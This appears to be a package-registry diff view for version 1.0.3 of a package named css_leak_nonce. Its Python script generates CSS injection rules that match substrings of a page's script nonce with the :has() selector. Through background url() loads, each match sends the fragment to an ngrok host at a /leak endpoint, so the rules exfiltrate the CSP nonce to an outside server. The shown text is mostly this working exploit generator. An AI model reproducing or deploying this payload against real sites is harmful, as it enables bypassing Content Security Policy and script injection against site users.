css_leak_nonce 1.0.2 → 1.0.3
Sign up to get free protection for your applications and to get access to all the features.
- package/a.py +1 -1
- package/package.json +1 -1
- package/rules.css +46656 -46656
package/a.py
CHANGED
@@ -8,7 +8,7 @@ strings = [''.join(perm) for perm in permutations]
|
|
8
8
|
rules = ""
|
9
9
|
trigger = "body{ background:"
|
10
10
|
for string in strings:
|
11
|
-
rules += f':has(script[nonce*="{string}"]){{--tosend-{string}: url(https://bf4d-42-112-181-236.ngrok-free.app
|
11
|
+
rules += f':has(script[nonce*="{string}"]){{--tosend-{string}: url(https://bf4d-42-112-181-236.ngrok-free.app/leak?x={string});}}\n'
|
12
12
|
trigger += f'var(--tosend-{string}, none),'
|
13
13
|
|
14
14
|
trigger += "var(--tosend-aaa, none)}"
|